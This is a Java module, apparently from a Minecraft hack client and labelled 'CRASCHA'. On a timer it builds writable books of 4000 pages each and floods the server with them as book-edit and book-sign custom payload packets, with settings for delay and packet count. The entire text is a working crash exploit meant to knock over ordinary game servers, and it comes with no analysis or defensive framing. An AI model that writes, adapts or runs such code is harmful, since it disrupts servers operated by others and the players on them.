CRASCHA

@Op(min = 1.0D, max = 1000.0D, increment = 50.0D)
  public double delay;
  @Op(min = 0.0D, max = 180.0D, increment = 5.0D)
  public double packets;
  private Timer timer = new Timer();


  @EventTarget
  public void on(UpdateEvent event) {
    if (this.timer.delay((float)this.delay)) {

      for (int time = 0; time < this.packets; time++) {

        ItemStack bookObj = new ItemStack(Items.writable_book);
        NBTTagList bookPages = new NBTTagList();
        for (int i = 0; i < 4000; i++) {
          bookPages.appendTag(new NBTTagString("a"));
        }
        while (bookPages.tagCount() > 1) {
          String s = bookPages.getStringTagAt(bookPages.tagCount() - 1);

          if (s.length() != 0) {
            break;
          }

          bookPages.removeTag(bookPages.tagCount() - 1);
        }

        if (bookObj.hasTagCompound()) {
          NBTTagCompound nbttagcompound = bookObj.getTagCompound();
          nbttagcompound.setTag("pages", bookPages);
        } else {
          bookObj.setTagInfo("pages", bookPages);
        }

        PacketBuffer packetbuffer = new PacketBuffer(Unpooled.buffer());
        packetbuffer.writeItemStackToBuffer(bookObj);
        ClientUtils.packet(new C17PacketCustomPayload("MC|BEdit", packetbuffer));

        bookObj.setTagInfo("author", new NBTTagString("a"));
        bookObj.setTagInfo("title", new NBTTagString("a"));
        for (int i = 0; i < bookPages.tagCount(); i++) {
          String s1 = bookPages.getStringTagAt(i);
          ChatComponentText chatComponentText = new ChatComponentText(s1);
          s1 = IChatComponent.Serializer.componentToJson(chatComponentText);
          bookPages.set(i, new NBTTagString(s1));
        }

        packetbuffer = new PacketBuffer(Unpooled.buffer());
        packetbuffer.writeItemStackToBuffer(bookObj);

        ClientUtils.packet(new C17PacketCustomPayload("MC|BSign", packetbuffer));
      }

      this.timer.reset();
    }
  }